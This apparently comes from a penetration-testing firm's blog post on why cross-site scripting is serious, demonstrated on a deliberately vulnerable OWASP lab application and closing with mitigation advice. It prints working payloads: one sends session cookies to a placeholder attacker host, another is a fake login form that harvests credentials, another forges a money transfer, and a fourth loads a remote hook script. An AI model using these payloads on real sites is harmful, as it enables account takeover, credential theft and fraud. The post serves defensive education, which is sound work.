Cross-site scripting (XSS) is probably the most prevalent high risk web application vulnerability nowadays, and yet it is still one of the most overlooked by developers and defenders alike.
At Dionach we have experienced a few situations when reporting XSS in penetration test reports as a critical or high risk issue, and the client would come back and say “Ok, you managed to pop up an alert box in the browser, how’s that a risk at all for our customers?!?”. Although Dionach’s penetration test reports detail the risks associated with all vulnerabilities, a screenshot is worth a thousand words, therefore the alert box is what the client remembers from XSS.
Here we aim to give some practical examples of how attackers leverage XSS to launch devastating attacks leading to the full compromise of the web application or users’ computers and how to minimise the risk.
To demonstrate the risks associated to XSS attacks, I used one of the deliberately vulnerable web applications (Cyclone) included in the OWASP Broken Web Applications suite. The web application simulates a money transfer website, having a stored XSS flaw in the page listing the users.
One of the most common XSS attack vectors is to hijack legitimate user accounts by stealing their session cookies. This allows attackers to impersonate victims and access any sensitive information or functionality on their behalf. Let’s dissect how this can be achieved.
<script> image = new Image(); image.src='https://[Attacker IP]:8080/?'+document.cookie; </script>
All an attacker needs to do is to set the stolen cookies in their browser in order to impersonate the victim by taking over their session. Assuming a malicious user has managed to compromise an administrative account, the attacker could gain full control of the web application.
For the following sections let’s assume the sensitive cookies are protected by the “HttpOnly” flag. This will inform the browser that cookies cannot be accessed by client-side scripts. This may hinder attackers from hijacking accounts using this method, however, it is not sufficient to limit them from undertaking other means to attack the web application.
<div style="position:absolute;top:50%;left:50%;margin: -100px 0 0 -100px;height=100px;width=100px;z-index:1;border-width:1px;border-style:solid; border-color:#D3D3D3"> <h3>Your session has timed out.</h3> <form action=https://[Attacker IP]> Username:<br><input type="text" name="user"><br> Password:<br><input type="password" name="pass"><br><br> <input type="submit" value="Logon"> </form> </div>
When a victim browses the vulnerable page, the login form is displayed, as shown in the following screenshot:
Similar to the example above, the credentials are forwarded to a server under the attacker’s control:
From an attacker perspective, this scenario is even more beneficial, since in the end they obtain plaintext credentials instead of ephemeral session cookies which may expire.
Another powerful attack vector for XSS is to use it in order to exfiltrate sensitive data (for example personal identifiable information or cardholder data) or to perform unauthorised operations, such as siphoning funds. The following example shows how it is possible to use the XMLHttpRequest object in order to force the victim to send money to another user of the web application:
<script> var xhr = new XMLHttpRequest(); xhr.open('POST','https://owaspbwa/cyclone/transfers',true);xhr.setRequestHeader('Content-type','application/x-www-form-urlencoded'); xhr.send('transfer[from]=5124834860&transfer[to_user_id]=48&transfer[amount]=300&commit=Transfer'); </script>
The screenshot below shows the confirmation the money transfer was successfully performed:
Let’s now take the case of a simple website, which doesn’t hold any sensitive information, for example a company presentation website with static pages and a simple search function. If an attacker can use the website in order to gain control of an organisation’s client computers, it still represents a significant risk to the business.
<script src="https://[Attacker IP]:3000/hook.js"></script>
When a victim would browse to the vulnerable page, the browser update notification is displayed:
Experience has shown us that social engineering attacks are one of the most effective attack vectors to fully take control of standalone computers or even entire internal domains. If the victim runs the fake installer the attacker will obtain a reverse shell with the victim’s privileges. This will most likely happen irrespective of whether there’s an antivirus solution in place or not.
Using XSS for drive-by attacks is probably the most common XSS exploitation scenario found in the wild. Attackers hunt for trusted websites vulnerable to XSS, where they can inject invisible iframes in order to serve the latest ransomware or Blackhole exploit kit.
Some other popular ways in which XSS could be weaponised include the following:
Web site defacement: one of the simplest and yet effective ways for attackers to target businesses or government institutions is to change the visual appearance of a website vulnerable to XSS. Either using embarrassing images or hacktivism messages this can bring organisations to the spotlight for the wrong reasons. An example can be seen in the following screenshot:
In order to minimize the risks associated with XSS, developers should encode all fields when displaying them in the browser. Additionally, ensure that user input is properly filtered especially in the case of special characters. A common source of XSS are outdated third party libraries integrated in the code, and as such, update these to the latest stable versions. As part of a defence in depth strategy, ensure that cookie properties (such as HttpOnly) and security headers, especially CSP, are set accordingly.
On a higher level, ensure that security is properly integrated in all phases of the development process and that developers are aware of common web application vulnerabilities. Ultimately, regular penetration tests would help identify such flaws and improve the security stance of the web applications.
XSS is a versatile attack vector which opens the door to a large number of social-engineering and client-side attacks. As shown, it could be used to steal sensitive information, such as session tokens, user credentials or commercially valuable data, as well as to perform sensitive operations. Additionally, it can be the foothold an attacker needs in order to obtain access to a computer or even an internal network. For companies XSS can have serious implications from a reputational, legal and even financial point of view.
As security consultants, we should do our best to explain the risks. In the case of XSS and penetration test reports, it is likely a good time to move away from the traditional proof of concept alert box payload as it can be rather misleading for security stakeholders.